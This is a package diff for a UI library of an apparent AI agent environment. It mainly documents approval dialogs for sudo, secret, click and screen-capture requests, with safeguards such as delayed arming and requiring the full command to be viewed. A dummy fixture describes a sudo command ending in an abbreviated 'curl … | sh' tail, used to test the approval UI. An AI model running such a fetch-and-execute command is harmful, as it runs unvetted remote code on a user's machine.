@ai-ecoverse/slicc-spectrum 2.3.0 → 2.4.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -270,7 +270,7 @@ Under forced colors, the dots, segments, unread circle and selection bar keep `C
270
270
  A cone with scoops carries `aria-expanded`, and `aria-controls` names its scoop rows while they show.
271
271
  Expanding and collapsing have no motion.
272
272
  **New cone** sits at the bottom.
273
- The conversation title is also shown in the header's cone picker: `Agent.title`, or else the first line of the first user message, or "No messages yet".
273
+ The conversation title is also shown in the header's cone picker: `Agent.title`, or else the first line of the first user message in `messages()`. Without one, it reads "Earlier messages" while `hasOlder` says there is more to load (the loaded window can hold no user message, or nothing the chat shows, while the conversation has hundreds), "Untitled chat" when the cone has messages but none from the user, and "No messages yet" only when it has none.
274
274
  When cones share a name, their accessible names and the Delete cone, Freezer and confirmation labels add the title, as in "Delete cone sliccy (Hello from Bedrock)".
275
275
 
276
276
  #### `<slicc-chat>`
@@ -294,9 +294,10 @@ A lick's `severity` (`warn` or `error`) adds an alert icon to its byline, a colo
294
294
  A lick's optional `summary` (one plain line) replaces its `text` in the box and wraps instead of being cut, and its optional `report` (a file path) adds **Open the report** (`data-action="open-report"`, which fires `open-file` with the path) to the expanded lick, so a lick with only a `report` expands too.
295
295
  A `scoop-notify` lick never shows the agent's bracketed status line: a `text` that is `[scoop … completed]`, `failed` or `stopped` (or `[@… completed]`) reads "Scoop {name} finished", "Scoop {name} failed" or "Scoop {name} stopped", the name being its `title` without the role in brackets, a failed or stopped one takes the `error` tone and a ❌ pill, named and announced as Scoop failed or Scoop stopped, instead of ✅, and its body, without that line, renders as markdown (`.report .text`), its headings stepped down to the chat's `####` size so the card doesn't outshout the chat.
296
296
  Pending permission requests (`sudo-request` licks with `state: 'pending'`) and open questions are decision cards in the centre column (`.decision-turn[data-pending]`, `data-id` the lick's or the question's), inset by a wide margin on each side, a narrower one under 480 px, with their buttons on the right: **Deny**, then **Allow** (`data-action` `deny` and `allow`), or the question's options.
297
- A request's command (its `body`, `pre.command`) is never cut: it wraps in full, in monospace, open or closed. When it runs past four lines (measured as rendered), the card shows the first four, a subdued "Show the full command to allow it." (`[data-allow-hint]`) and a quiet **Show the full command** with a chevron (`data-action="full-command"`, `data-shown` on it while shown, its `aria-expanded` on Spectrum's inner button, then **Hide the full command**), and has no **Allow** until the whole command shows; Deny and the countdown always stay. Showing it scrolls the whole card into the region when it fits, else its actions. A shown command stays shown for every view of the chat while the request waits; guests and timed-out requests show it whole.
297
+ A request's command (its `body`, `pre.command`) shows whole and wraps, in monospace, open or closed; the card has no **Show the full command**, and a long command makes the card taller, so the region scrolls (below). As in the approval dialog, **Allow** is always there but stays disabled until the end of the command has been in view (a zero-size `[data-end]` after its last line, inside the region), and a click on it is refused until then; a command whose card fits the region is seen at once, and for a longer one the end comes into view on the way down to the buttons, which sit under it. When the newest card is taller than the closed region, the region scrolls down to its buttons once it is laid out, but only when that brings Deny and Allow above the bottom fade without scrolling past the first line of the command (or the card's top when it has none): a command that fits shows whole with its buttons in view, and a card that can't get there stays at its top, with its requester, countdown and text in view, so a longer command still has to be scrolled to its end; if the region shrinks so its buttons no longer fit, it scrolls back to the card's top; the region stops doing this for that card as soon as the reader scrolls, presses, touches, types or focuses in it. Once seen, the end stays seen while the request waits. Deny and the countdown always stay; guests and timed-out requests show the command without the gate.
298
+ For half a second (`SliccChat.arming`, in ms) after any change to the region's Deny and Allow buttons (a card appearing, going or taking another's place, a button being enabled or disabled, or one moving inside the region or with it), no click on them counts: a mouse or touch click counts only when its press started after that half second, and a keyboard click only when it comes after it, so a double-click or a quick second key press can't answer the next request when answering one shows the next in its place. The buttons are checked on every render, when they, their cards, the region or the header change size, and when the window resizes (only the nodes on screen are observed, so answered cards are let go); scrolling the region doesn't count as a change, and neither do the hidden cards' buttons. The question cards' buttons aren't guarded.
298
299
  A request with `expiresAt` counts down as m:ss; the count is hidden from screen readers, which hear its end time, then "Less than a minute left" and "Timed out", so the log's live region doesn't speak every second; a timed-out request (`data-expired`) loses its buttons.
299
- While pending, cards leave the log for their own region between the header and the log (`section.asks`, named "Waiting for you"), so they never cover the transcript and the log ends below them; the log keeps an empty marker where each was asked (`.ask-place[data-place]`, the card's `data-id`). The region shows the newest card; with more than one waiting, a bar above it (**N waiting**, `data-action="show-waiting"`, `aria-expanded`) shows them all, oldest first (`.asks[data-open]`), and shows the countdown of the soonest timed card it hides. A hidden card stays mounted (`.ask[hidden]`), so a typed answer survives, and a new ask never hides the card that has focus: the list opens instead. Showing another agent closes the list and its details. The region is opaque, with a hairline and a soft shadow on its bottom edge. Open, each card is compact: its title line, its command and its actions, the request's text cut to one line and the rest of it behind a quiet chevron (**Show details**, `data-action="ask-detail"`, `data-detail` on the card while shown). The region takes at most half the chat's height and always leaves the log room for the composer and its fade (and a few lines more while closed); when the cards need more, it scrolls inside, the bar stays on top, a fade at the bottom edge (`.asks[data-more]`) says more is below, and the scrollbar shows on hover and focus. Every card is a tab stop before its actions, and focusing anything in a card scrolls the whole card into the region.
300
+ While pending, cards leave the log for their own region between the header and the log (`section.asks`, named "Waiting for you"), so they never cover the transcript and the log ends below them; the log keeps an empty marker where each was asked (`.ask-place[data-place]`, the card's `data-id`). The region shows the newest card; with more than one waiting, a bar above it (**N waiting**, `data-action="show-waiting"`, `aria-expanded`) shows them all, oldest first (`.asks[data-open]`), and shows the countdown of the soonest timed card it hides. A hidden card stays mounted (`.ask[hidden]`), so a typed answer survives, and a new ask never hides the card that has focus: the list opens instead. Showing another agent closes the list and its details. The region is opaque, with a hairline and a soft shadow on its bottom edge. Open, each card is compact: its title line, its command and its actions, the request's text cut to one line and the rest of it behind a quiet chevron (**Show details**, `data-action="ask-detail"`, `data-detail` on the card while shown). The region takes at most half the chat's height and always leaves the log room for the composer and its fade (and a few lines more while closed); when the cards need more, it scrolls inside, the bar stays on top, a fade at the bottom edge (`.asks[data-more]`) says more is below, and the scrollbar shows on hover and focus. Every card is a tab stop before its actions, and focusing anything in a card scrolls the whole card into the region, or only the focused control when the card is taller than the region.
300
301
  Clicking a waiting card (not its controls), or <kbd>Enter</kbd> on it, scrolls the log to where it was asked, at the bottom of the view above the composer.
301
302
  When a card leaves the region (answered, timed out or decided elsewhere) while it has focus, focus moves to the newest card still waiting, else the composer; a timed-out card goes back to its place in the log.
302
303
  Under `prefers-reduced-motion`, nothing animates and the scroll is instant.
@@ -335,11 +336,13 @@ Sudo and guest requests show the verdict under the command, in a live region (`.
335
336
  Focus starts on Deny (on Close once `decide` rejects) and goes back, after Deny, Always allow, Allow once, <kbd>Esc</kbd> or Close, to what had it when the dialog opened; inside a terminal, to that `<slicc-terminal>` through its own `focus()`, even when it remounted meanwhile.
336
337
  Guest requests (`guest-message`, `guest-tool`) get their own copy, the guest's text as plain text (`[data-guest-text]`), attachments (`[data-attachments]`), the automatic check's verdict (`[data-verdict]`), and Deny and Allow once, plus **Always allow** (`data-action="always"`) with a hint saying what it covers when the approval's `always` is `true`; the dialog body carries `[data-approval-kind]` and fills the dialog's width at every size.
337
338
  Tray requests (`tray`) get their own title and one sentence (`#asking`), and only **Deny** (`deny`, focused) and **Allow once** (`once`), never Always allow.
339
+ Click requests (`click`) are an `information` alert dialog, without the warning icon, and show their own `title` and `body` (`#asking`), **Cancel** (`deny`, focused) and a button labelled with their `action` (`once`), with no verdict and never Always allow; one with `here: false` adds "Click in seven’s tab on {device.name}." (`[data-where]`) and offers only **Cancel**, and its countdown reads "Cancelled automatically in m:ss.".
340
+ Capture requests (`capture`) read "Allow a guest’s capture?" with "{agentName ?? 'This cone'} wants to use your {what} for {name}:" and the capture line in a box (`[data-capture]`), then the verdict, **Deny**, **Allow once** and, when `always` is `true`, **Always allow**, as for a guest tool call. Its verdict levels read "Routine capture." (1), "Records what you share." (2) and "Could expose something private." (3), with the same `data-verdict` names and colours as the others.
338
341
  Secret requests (`secret`, `dialog[data-kind=secret]`) read "Enter a value for {name}?" (`mode: 'enter'`) or "Reveal {name} to a program?" (`reveal`). Under the title comes the trusted block, which only bios and the kernel fill: "{name} ran this[ in {where}]:" for an agent or "You ran this[ in {where}] (as {name}):" for a user, then the command (`[data-command]`), which is `process.exe` followed by `argv[1…]`, each word shell-quoted (`argv[0]` is the program's own choice), then "In {cwd}". The command follows sudo's rules: the same scrolling box, the same control-character chips, and the same end-in-view rule. Then the untrusted `prompt`, if any, in its own block (`[data-prompt]`) under "From the agent, not checked by SLICC:", with control characters as chips and cut at 200 characters. With `reveal`, a negative block (`[data-reveal]`) says "{exe} gets the plaintext. It can send it anywhere.", and adds "The agent asked for this." when `requester.kind` is `agent`.
339
342
  The body is the vault's own frame (`[data-value-frame]`, a `<slicc-vault-value>` on `vault.valueFrame(id)`). The value is typed and Save or Allow clicked there, so spectrum never sees the value and can't fake the consent. The frame is `inert` until the end of the command has been in view, and "Scroll to the end of the command to answer it." (`[data-allow-hint]`) shows while it isn't. Without `vault.valueFrame`, "The vault isn’t available here, so this request can only be denied." (`[data-id="no-frame"]`) stands in its place.
340
343
  The title shows control characters in the name as chips, and so does the notice. The only button is **Deny** (`deny`, focused). The element's `decide()` takes only `deny` for a secret, and only while that request is the one showing: not once it was denied, answered in its frame, closed, or ended (timed out, answered elsewhere, withdrawn). A late `escape` from the frame does nothing either.
341
344
  When a listed request is replaced (the same `id` with another `createdAt`, command, mode, name, `reveal`, prompt or requester), or an `id` comes back after it left `list()`, the dialog counts it as a new request: a new frame, the end of its command unseen again, and the half-second guard again. Escape on the dialog denies, and so does the frame's `escape` event, posted when Escape is pressed inside the frame. The frame's `done` for this request closes the dialog and moves on to the next request, with no "answered" dialog. The frame's `gone` shows "Secret request timed out" (`expired`) or "Answered elsewhere", or closes silently (`withdrawn`), except for a request this tab denied or answered. The frame's `error` shows its message under the frame (`[data-frame-error]`). A secret request that leaves `list()` without `ended` before `expiresAt` closes silently, because the frame's `done` and the list change can arrive in either order. Focus then goes back as for sudo, to the `<slicc-terminal>` that had it.
342
- `approvalKinds` (from `/ui`) is a frozen array of the kinds this build shows (`sudo`, `guest-message`, `guest-tool`, `tray`, `secret`), so an embedder can hold back the kinds an older UI would leave waiting unseen.
345
+ `approvalKinds` (from `/ui`) is a frozen array of the kinds this build shows (`sudo`, `guest-message`, `guest-tool`, `tray`, `secret`, `click`, `capture`), so an embedder can hold back the kinds an older UI would leave waiting unseen.
343
346
 
344
347
  #### `<slicc-follow>`
345
348
 
@@ -354,7 +357,7 @@ Renders nothing without the port.
354
357
  The message box uses Spectrum Web Components 2.0.0-beta.6. Its explicit accessible names stay "Message" for the textarea, "Send" ("Steer" while busy) for send, "Add" for upload and "Stop" for stop, using `accessible-label`, `send-accessible-label`, `upload-accessible-label` and `stop-accessible-label`. Attachment navigation stays "Show previous attachments" / "Show more attachments", and the strip stays "Uploaded assets strip", through their `*-accessible-label` attributes.
355
358
  <kbd>Enter</kbd> sends, or steers a running reply: the message joins after the current tool round, without interrupting; <kbd>Ctrl</kbd>/<kbd>⌘</kbd>+<kbd>Enter</kbd> queues a follow-up that runs after the reply and can be withdrawn; <kbd>Shift</kbd>+<kbd>Enter</kbd> adds a line; <kbd>Tab</kbd> takes the suggested follow-up; <kbd>↑</kbd>/<kbd>↓</kbd> at the start or end walk this agent's history; <kbd>Esc</kbd> stops.
356
359
  `/` completes commands (`/clear`, `/compact`, `/model`, `/thinking`, `/scoop`, `/stop`, `/freeze` when the port can freeze, `/theme`) and their arguments, `@` mentions agents and files.
357
- Attach from the computer, from SLICC's files, a browser screenshot or a shared secret (with a `vault.put`, the popup takes the value too, checks it like Settings › Secrets, puts it in the vault and attaches the name, showing errors inline and clearing the field; an empty value shares a name the vault already has, and a new value for one asks before it replaces it; while the vault is away (`availability()` `connecting` or `waiting`) or locked, it takes no value and says so; without one, it attaches the name and says to add the value in Settings › Secrets), or paste and drop files (25 MB each; a dropped folder, told apart by its drag entry, becomes a “Folders can’t be attached” chip, and a file that can't be read a “Could not read the file” chip, instead of an attachment).
360
+ Attach from the computer, from SLICC's files, a browser screenshot or a shared secret (with a `vault.put`, the popup takes the value too, checks it like Settings › Secrets, puts it in the vault and attaches the name, showing errors inline and clearing the field; an empty value shares a name the vault already has, and a new value for one asks before it replaces it; while the vault is away (`availability()` `connecting` or `waiting`) or locked, it takes no value and says so; without one, it attaches the name and says to add the value in Settings › Secrets; the popup closes on Cancel (`data-action="cancel-secret"`, disabled while a share is pending), on a press outside the form (ignored while a share is pending) and on Escape, each clearing the typed value), or paste and drop files (25 MB each; a dropped folder, told apart by its drag entry, becomes a “Folders can’t be attached” chip, and a file that can't be read a “Could not read the file” chip, instead of an attachment).
358
361
  <kbd>Esc</kbd> in the `+` menu closes it, from any item, and puts focus back on `+`; it goes no further, so it doesn't also stop a reply.
359
362
  Queued messages wait above it in a dashed box (`--swc-neutral-visual-color`, 3:1 or more against the composer in both themes), to send now or drop; a steer the agent still holds (`mode: 'steer'`, `li.queued[data-mode=steer]`) reads "Sends at the next step" and can only be dropped.
360
363
  Model and thinking pickers.
@@ -771,7 +774,7 @@ The optional `drop(agentId)` removes a scoop: it stops and its working folder is
771
774
  `thaw(id)` brings a cone back, or forks a scoop or agent run into a new cone, and `discard(id)` removes a row.
772
775
  The optional `importProfile(file, { preview, again? })` takes a SLICC 6 profile export (a `Blob`) and resolves with a `ProfileImportResult` (`preview`, the imported `cones`' ids, the `report` path and a `text`), or rejects with a sentence to show; with `preview: true` it only checks, and its `ProfileImportPreview` counts the export (`origin`, `createdAt`, `cones`, `scoops`, `frozen`, `bytes`, `skills`, `crons`, `webhooks`), lists the zip paths of `flagged` credential-like files, which are imported as they are (at 0600) and listed in the report for review, `providers` to sign in to again and `mounts` it can't bring, and has `already`, when this export was imported before, or `null`.
773
776
  `importCancel()` stops it, and `importing()` returns a `ProfileImportProgress` (`phase`: `idle`, `checking`, `writing`, `done` or `failed`, with `done`, `total` and `text`), with an `importing` event; the UI never sees kernel paths, so the adapter decides how the file reaches the agent.
774
- Names don't have to be unique, and an optional `Agent.title` names a cone's conversation; without it, the first user message does.
777
+ Names don't have to be unique, and an optional `Agent.title` names a cone's conversation; without it, the first user message in `messages()` does, and with none loaded but `hasOlder` true, "Earlier messages" (see the Agents list).
775
778
  Assistant messages stream: the same message is re-emitted as its parts grow and its tool calls go from `running` to `done`.
776
779
  The optional `toolLabel(agentId, callIds)` resolves with a short label for a run of tool calls (`callIds` in order), such as "Compare the docs with the live API", or `null`; the agent dedupes, caches and persists it.
777
780
  Spectrum asks once a reply's status has two calls and again each time it grows, once per set of ids, and shows the label once the status is complete.
@@ -960,7 +963,7 @@ Later backed by: BIOS.
960
963
  A `sudo` approval has `id`, `requester` (`kind` `agent` or `user`, `name`, optional `agentId` and `where`, such as a terminal's title), `command` (without `sudo`; bios joins the kernel's argv shell-quoted), optional `target` (the user to run as; shown as `sudo -u {target}` unless `root`), optional `cwd` and `verdict` (`{ level?: 1 | 2 | 3, aligned?: boolean, decision?: 'allow' | 'deny' | 'unsure', reason }`, the judge's view: `level` 1 routine, 2 changes permissions, 3 could harm the system; `aligned`, whether it serves what the owner asked for; `decision`, the older shape, which may be missing), optional `judging` (`true` while the judge runs) and `verdictError` (why there is no verdict), `createdAt`, `expiresAt` (epoch ms) and `always` (for a sudo request with a level verdict, offer Always allow, which covers the requester's user and this exact command; without a level it is ignored).
961
964
  With `decide(id, 'once' | 'always' | 'deny')`, which resolves once the decision is recorded and then drops the request from `list()`, the tab shows a warning alert dialog (`dialog[data-approval][data-kind][data-requester]`): "Allow sudo?", "{name} wants to run this with sudo[ in {where}]:" for an agent or "You ran this with sudo[ in {where}] (as {name}):" for a user, the command, "In {cwd}", the verdict, what Always allow does, "Denied automatically in m:ss." and how many more wait, with **Deny** (`data-action="deny"`, focused; Escape also denies), **Always allow** (`always`) when offered and **Allow once** (`once`).
962
965
  A sudo request without a level verdict never offers Always allow, even when `always` is `true` (`decide(id, 'always')` is ignored for it); only Deny and Allow once show. With a level verdict, `always` alone decides whether Always allow is offered.
963
- For half a second (`arming`, in ms) after a request shows and after any change to its buttons (one appearing or going, being enabled or disabled, changing its label or moving), no button click counts, Deny's included: a mouse or touch click counts only when its press started after that half second, and a keyboard click only when it comes after it, so a double-click or a quick second key press can't answer the next request and a click aimed before Always allow appeared can't land on it. `decide()` refuses anything but `deny` for that half second too; <kbd>Escape</kbd> denies at once.
966
+ For half a second (`arming`, in ms) after a request shows and after any change to its buttons (one appearing or going, being enabled or disabled, changing its label or moving), no button click counts, Deny's included: a mouse or touch click counts only when its press started after that half second, and a keyboard click only when it comes after it, so a double-click or a quick second key press can't answer the next request and a click aimed before Always allow appeared can't land on it. The buttons are checked on every render, when they or the dialog change size, and when the window resizes, so a resize that moves them counts at once rather than at the next countdown tick. `decide()` refuses anything but `deny` for that half second too; <kbd>Escape</kbd> denies at once.
964
967
  A rejected `decide` shows its message in the dialog (`[data-error]`, `dialog[data-rejected]`) in place of the countdown, with only **Close** (`data-action="close"`, focused; Escape also closes), which moves on to the next waiting request or closes the dialog.
965
968
  Pass `decide` in every tab: the first decision wins.
966
969
  When a request ends without a decision in this tab, emit `ended` with `{ id, reason }` and drop it from `list()`: `answered` (another tab decided) shows "Answered in another tab", `expired` shows "Sudo request timed out", each with the command and **Close** (`data-action="close"`, `dialog[data-gone]`), and `withdrawn` (the requester went away) closes the dialog silently.
@@ -981,8 +984,28 @@ Without `decide`, its notice reads "Waiting for tray approval" with the same sen
981
984
  A secret request (`kind` `secret`, a `SecretApproval`) is a program asking for a secret through `/dev/sealed`. Its fields are `mode` (`enter` when there is no live secret of that name, `reveal` when there is), `name`, an optional `prompt` (the program's own words, ≤ 200 characters, untrusted), `reveal` (the process gets the plaintext back too), `requester` (`kind` `agent` or `user`, `name`, optional `where`), `process` (`exe`, the resolved program file; `argv`; `cwd`, all from the kernel), `createdAt` and `expiresAt`.
982
985
  `decide(id, 'deny')` cancels it in the vault, and the UI never sends `once` or `always` for it: the answer is given in the vault's frame. Send `ended` (`answered`, `expired` or `withdrawn`) only for a request that ended outside this tab: not for one this tab denied, and not for one whose frame in this tab posted `done`.
983
986
  Without `decide`, its notice (`[data-approval-kind=secret]`) reads "Waiting for a secret" with "{name} ran {exe}, which asks for a value for {secret}." ("You ran…" for a user, "…the plaintext of {secret}." for `reveal`), then "It waits for the owner's answer. Denied automatically at {time}."
987
+ A click request (`kind` `click`, a `ClickApproval`) says a click in seven's tab can't be avoided, for the screen picker or the browser's own permission prompt: `subject` (`capture`, later `device`), `what`, `program` (the argv0), `requester`, `title`, `body`, `action` (the button label, such as `Choose what to share`, `Allow camera` or `Allow microphone`), `here` (`false` on a follower device, which can't give the click), an optional `device` (`{ id, name }`, where to click), `createdAt` and `expiresAt`.
988
+ It has no level, no verdict and no `always`. `decide(id, 'once')` comes from the action button, inside the click's user activation, so the embedder runs `getDisplayMedia`, `getUserMedia` or `requestPort` in it; **Cancel** and Escape send `deny`. With `here: false` the UI sends only `deny`.
989
+ Ended click requests read "Answered elsewhere" or "Click request timed out" ("Cancelled because nobody clicked in time."), and a withdrawn one closes silently.
990
+ Without `decide`, its notice (`[data-approval-kind=click]`) shows its `title` and `body`, then "Click in seven’s tab on {device.name}. Cancelled automatically at {time}." ("Click in seven’s tab." without `device`).
991
+ A capture request (`kind` `capture`, a `CaptureApproval`) is a guest-tainted run asking to capture: `requester` (the guest), optional `agentId` and `agentName`, `detail` (`what`: `screen`, `camera` or `microphone`; `mode`: `still`, `video` or `audio`; optional `seconds`, `system`, `microphone` and `device`, a label; and `program`, the argv0), `createdAt`, `expiresAt`, `always`, and the guest items' `verdict`, `judging` and `verdictError`.
992
+ Its capture line reads, for example, "Record your screen for up to 10 seconds, with your microphone · media", "Take a photo with your camera (Desk camera) · media" or "Record your microphone until it’s stopped · media".
993
+ Its Always hint reads "Always allow lets {agentName ?? 'this cone'} record your screen for {name} without asking again. You still choose what to share each time." (the last sentence for the screen only).
994
+ Ended capture requests read "Answered elsewhere" or "Capture request timed out". Without `decide`, its notice reads "Waiting for approval of a guest’s capture" with "{agentName} wants to use your {what} for {name}, which waits for the owner's approval.", the capture line, then "Denied automatically at {time}."
984
995
  An approval whose `kind` this build doesn't know shows neither a dialog nor a notice, so it waits until it ends and is never allowed from here.
985
996
 
997
+ #### `live` (optional)
998
+
999
+ Later backed by: BIOS.
1000
+ `items()` returns the `LiveItem`s, what is live in seven now (a recording, later an open serial port): `id`, `kind` (free text: `screen`, `camera`, `microphone`, later `serial`), `label` (such as "Recording screen"), `what` (may be empty), `asker`, `since` (ms) and `action` (`{ label }`, such as "Stop"); emit `items` when the list changes. `act(id)` runs the item's action.
1001
+ `<slicc-app>` shows `<slicc-live>` under the header when the port is there: nothing while `items()` is empty, else one chip per item, stacked (`[data-surface=live]`, each chip `[data-id]`): a red dot, then "{label} · {what} · {asker} · m:ss" (`what` left out when empty), ticking once a second from `since`, and a quiet button with `action.label` (`data-action="live-act"`) that calls `act(id)`. On phones (`compact`) a chip keeps only the dot, the label and the button.
1002
+
1003
+ #### `switches` (optional)
1004
+
1005
+ Later backed by: BIOS.
1006
+ `list()` returns the `Switch`es (`key`, `label`, `on`), in order; emit `switches` when they change. `set(key, on)` turns one on or off.
1007
+ Settings shows them under "Capture and devices", one switch each (`[data-surface=switches]`, each `sp-switch[data-id={key}]`), with "Programs can capture only what’s on here. Turning one off stops what’s live under it."; without the port, or with an empty list, the section isn't there.
1008
+
986
1009
  #### `vault` (optional)
987
1010
 
988
1011
  Later backed by: BIOS.
@@ -1107,6 +1130,10 @@ Like slicc-agent's snapshot, the dummy's vitals are the budget, Spend, Active ag
1107
1130
  (`guest-follower`: the same without `decide`), or (`guest-always`) one guest tool call from Seat 2 (Mara) to `read_file` with `always: true`, or (`long`) one sudo request whose seven-line command ends in `curl … | sh`, or one guest `write_file` call with a blank `summary`: with seven lines of `args` ending in the same tail (`guest-args`), with no `args` (`guest-empty`), or with a prefix of them and `argsTruncated` (`guest-truncated`), or tray requests from sliccy: one to share the join URL (`tray-url`), one to make a new one (`tray-rotate`), one to unlink Kitchen tablet (`tray-unlink`), all three in a row (`tray`), or the first, which times out after a few seconds (`tray-expired`).
1108
1131
  `controls-cr` and `controls-lf` show control characters in a sudo command's quoted word; `controls-place` shows them in the requester name, place and target; `controls-cwd` shows them in the cwd.
1109
1132
  `createDummyModel({ asks: 'long' })` (`?asks=long`) adds a pending sudo request with that seven-line command to kitchen-sink (`k-long`).
1133
+ `createDummyModel({ approvals: 'click' | 'click-remote' | 'capture' })` adds one capture request: a click request from sliccy for `media` to choose what to share (`click-share`, `here: true`), the same with `here: false` on Studio Mac (`click-remote`), or a guest capture from Seat 2 (Mara) through sliccy, recording the screen for up to 10 seconds with the microphone, with a level 2 verdict (`capture-screen`).
1134
+ `createDummyModel({ live: 'screen' | 'both' })` (`?live=` on `/ui/`) adds a `live` port with sliccy recording the entire screen (`live-screen`), and with `both` also Seat 2 (Mara) via docs-pass recording the desk microphone (`live-microphone`); `act(id)` records the id in `model.live.acted` and drops the item, and `model.live.add(item)` adds one.
1135
+ `createDummyModel({ switches: 'capture' })` (`?switches=capture`) adds a `switches` port with Camera, Microphone and Screen, all on; `set` records `[key, on]` in `model.switches.sets`.
1136
+ Kitchen-sink's "Here is where things stand." ends with a `media` call that waited for a click in seven's tab (`k-media`).
1110
1137
  Decisions are recorded in `model.approvals.decisions`, and `model.approvals.end(id, reason)` ends a request.
1111
1138
 
1112
1139
  `createDummyModel({ vault: 'empty' | 'secrets' | 'policy' | 'locked' | 'paused' | 'request' | 'backup' | 'waiting' | 'purged' | 'session' | 'endpoints-fail' | 'off' })` (`?vault=` on `/ui/`, off by default; `notice` is kept as another name for `policy`) adds an invented vault: no secrets yet; five secrets (an API key, a jerk lease from pier-nuc revealed to `pier publish`, a Tide Mail sign-in, one without a rule and a removed one) with an activity log that pages back once; the same with a refused rule and a policy change in the log; locked before the first unlock, with a waiting request from docs-pass; the secrets with `/etc/slicc/secrets-policy.toml` missing and an earlier pause of `/etc/fnox/config.toml` in the log; unlocked with a `fnox set` request for `TIDE_STATION_TOKEN`; the secrets with a due backup reminder; or a vault that hasn't answered yet (`model.vault.arrive()` brings it); Cloudflare's Account ID and AI Gateway ID and Azure's endpoint carry `vaultSetting`s; the dummy vault keeps `settings` on its records, logs each `settings` call in `model.vault.settingsCalls`, and refuses a setting whose value starts with `bad` (“The vault refused {KEY}. Check that value and try again.”). `endpoints-fail` is the secrets with an `endpoints` that refuses (an MCP URL with “The vault refused {url} for this token. Check the server's address, then try again.”, a model URL with “The vault refused that endpoint. Check the address and try again.”). The dummy vault records each `endpoints` change in `model.vault.endpointChanges`.
@@ -577,7 +577,17 @@ function work() {
577
577
  scoop: "suggestions",
578
578
  text: "Opened the suggestions sprinkle"
579
579
  },
580
- { type: "delegation", kind: "drop", scoop: "amber-heron", text: "Wrapped up amber-heron" }
580
+ { type: "delegation", kind: "drop", scoop: "amber-heron", text: "Wrapped up amber-heron" },
581
+ {
582
+ type: "tool",
583
+ tool: tool(
584
+ "k-media",
585
+ "bash",
586
+ "Record the preview for the docs",
587
+ 'media -f avfoundation -i "1" -t 10 /tmp/preview.webm',
588
+ "media: waiting for a click in seven's tab: choose what to share\nRecorded 0:10 to /tmp/preview.webm"
589
+ )
590
+ }
581
591
  ]
582
592
  },
583
593
  {
@@ -2127,4 +2137,4 @@ export {
2127
2137
  dummySettingsKey,
2128
2138
  DummySettings
2129
2139
  };
2130
- //# sourceMappingURL=chunk-47KEBIYA.js.map
2140
+ //# sourceMappingURL=chunk-AIE26XNA.js.map
@@ -0,0 +1,7 @@
1
+ {
2
+ "version": 3,
3
+ "sources": ["../src/dummy/showcase.ts", "../src/dummy/fixtures.ts", "../src/dummy/providers.ts", "../src/dummy/clock.ts", "../src/dummy/settings.ts"],
4
+ "sourcesContent": ["import type { Agent, LickChannel, Message, ToolCall, UserMessage } from '../model/types.ts';\n\nconst start = Date.UTC(2026, 9, 4, 16, 0);\nconst at = (minutes: number) => start + minutes * 60_000;\n\nexport function picture(\n label: string,\n from: string,\n to: string,\n width = 640,\n height = 400\n): string {\n const svg = `<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"${width}\" height=\"${height}\" viewBox=\"0 0 ${width} ${height}\"><defs><linearGradient id=\"g\" x1=\"0\" y1=\"0\" x2=\"1\" y2=\"1\"><stop offset=\"0\" stop-color=\"${from}\"/><stop offset=\"1\" stop-color=\"${to}\"/></linearGradient></defs><rect width=\"${width}\" height=\"${height}\" fill=\"url(#g)\"/><text x=\"50%\" y=\"50%\" font-family=\"sans-serif\" font-size=\"${Math.round(height / 9)}\" fill=\"#ffffff\" text-anchor=\"middle\" dominant-baseline=\"middle\">${label}</text></svg>`;\n return `data:image/svg+xml;charset=utf-8,${encodeURIComponent(svg)}`;\n}\n\nexport function tone(seconds = 0.6, frequency = 440, rate = 8000): string {\n const samples = Math.round(seconds * rate);\n const bytes = new Uint8Array(44 + samples);\n const view = new DataView(bytes.buffer);\n const text = (offset: number, value: string) => {\n for (let i = 0; i < value.length; i++) bytes[offset + i] = value.charCodeAt(i);\n };\n text(0, 'RIFF');\n view.setUint32(4, 36 + samples, true);\n text(8, 'WAVEfmt ');\n view.setUint32(16, 16, true);\n view.setUint16(20, 1, true);\n view.setUint16(22, 1, true);\n view.setUint32(24, rate, true);\n view.setUint32(28, rate, true);\n view.setUint16(32, 1, true);\n view.setUint16(34, 8, true);\n text(36, 'data');\n view.setUint32(40, samples, true);\n for (let i = 0; i < samples; i++) {\n const fade = Math.min(1, (samples - i) / (rate / 10));\n bytes[44 + i] = 128 + Math.round(60 * fade * Math.sin((2 * Math.PI * frequency * i) / rate));\n }\n let binary = '';\n for (const byte of bytes) binary += String.fromCharCode(byte);\n return `data:audio/wav;base64,${btoa(binary)}`;\n}\n\nfunction tool(\n id: string,\n name: string,\n title: string,\n input: string,\n output: string,\n extra: Partial<ToolCall> = {}\n): ToolCall {\n return { id, name, title, input, output, status: 'done', paths: [], ...extra };\n}\n\nconst markdown = [\n '## The forecast API in one page',\n '',\n 'harbor answers `GET /forecast?city=\u2026` with the day\u2019s **high**, **low** and a *short summary*, and caches per city for an hour. ~~XML output~~ is gone.',\n '',\n '### How a request flows',\n '',\n '1. The worker parses the city.',\n '2. The cache answers if it has a fresh entry:',\n ' - same UTC day',\n ' - younger than one hour',\n '3. Otherwise the upstream call runs, with three retries.',\n '',\n '> Upstream is slow at the top of the hour. Retries back off at 250, 500 and 1000 ms.',\n '',\n '```ts',\n 'export async function forecast(city: string): Promise<Forecast> {',\n ' const cached = cache.get(city);',\n ' if (cached) return cached;',\n ' return cache.set(city, await retry(() => upstream(city)));',\n '}',\n '```',\n '',\n '| Route | Cache | Typical latency |',\n '| --- | --- | ---: |',\n '| `/forecast` | 1 hour, per city | 38 ms |',\n '| `/health` | none | 2 ms |',\n '| `/forecast` (miss) | \u2014 | 410 ms |',\n '',\n '- [x] TTL fix merged',\n '- [ ] Move the cache to KV',\n '',\n 'Details are in the [API reference](https://api.example.com/docs/v2/forecast). A long path that must wrap: `/workspace/harbor/node_modules/.cache/wrangler/state/v3/cache/miniflare-CacheObject/7c1f0e3b9a5d4e2f8b6a1c0d9e8f7a6b5c4d3e2f1a0b9c8d7e6f5a4b3c2d1e0f.sqlite`.',\n].join('\\n');\n\nconst toolShapes: ToolCall[] = [\n tool('k-t1', 'bash', 'Count the routes', \"rg -c 'pathname ===' src\", 'src/index.ts:2'),\n tool(\n 'k-t2',\n 'read_file',\n 'Read the router',\n '/workspace/harbor/src/index.ts',\n \"import { forecast } from 